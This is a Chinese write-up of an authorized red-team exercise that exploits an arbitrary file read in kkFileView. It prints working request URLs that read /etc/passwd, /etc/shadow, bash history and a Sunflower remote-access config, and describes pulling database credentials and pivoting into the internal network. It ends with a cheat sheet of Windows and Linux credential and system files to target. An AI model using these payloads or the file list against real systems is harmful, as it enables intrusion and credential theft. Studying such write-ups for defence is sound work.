某次攻防演练中对任意文件读取漏洞的利用

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

攻防演练参加的越多,越发感觉打点越来越难。。。之前shiro反序列化之类可以无脑getshell的漏洞还挺多的,今年已经鲜有遇到了。这是上次遇到某目标的打点过程,记录一下。

过程记录

其他不多说了,直接复述一下对目标ip的测试过程。

图片

简单扫了一眼,资产挺多,但是没啥能利用的(技术不到位)。挨页点着翻,看到了kkfileview,这个之前也遇到过,但是也没多想过。这次搜了下它的漏洞,结果发现还挺多的,顿时有一种错过好几个shell的感觉。。。。。

图片

任意文件读取漏洞测试

看到存在任意文件读取,就想通过这个漏洞看能不能利用下。用户历史命令记录文件

http://ip/getCorsFile?urlPath=file:///../../root/.bash_history

图片

账户信息

http://ip/getCorsFile?urlPath=file:///../..//etc/passwd

图片

读取账户密码文件,加密解不开。。。

http://ip/getCorsFile?urlPath=file:///../..//etc/shadow/

图片

测试很多个常见路径都没什么收获,然后另外一个哥们找到了些东西。查看网站目录

http://ip/getCorsFile?urlPath=file:///data/

图片

在某个目录下找到了一个jar包

图片

通过逆向jar包,发现jar包中BOOT-INF\classes\application-dev.yml文件存在数据库账号密码:

图片

这是阿里云数据库的账号密码

图片

阿里云上也有若干收获,这里就不详述了。重点来了,经过若干次翻目录,竟然找到了向日葵的配置文件。。

http://IP/getCorsFile?urlPath=file:////etc/orayconfig.conf

图片

encry_pwd(本机验证码) fastcode(本机识别码),注意faskcode值第一个英文字母不要,只需要后面数字即可。值为明文保存所以不需要解密

fastcode=k****
encry_pwd=****

然后使用解密脚本Sunflower_get_Password解密

pip3 install unicorn

图片

向日葵登录后就可以在内网直接Tscan扫描了,不过没有很多东西。另外记一下任意文件读取的路径,以后可能用得到

## windows

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

## linux

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本 
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie   内网IP
/proc/self/environ   环境变量
/proc/self/loginuid   当前用户

总结

打点的过程还是要仔细,任何小细节都不能放过。一开始通过这个IP想着也就有个任意文件读取和SSRF,经过一步步的翻目录后找到的资产还不算少,可能总共得分不多,但也算给自己涨涨经验,以后渗透不能只贪快,也要细致。

工具下载

Sunflower_get_Password脚本已同步至知识星球。

图片

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐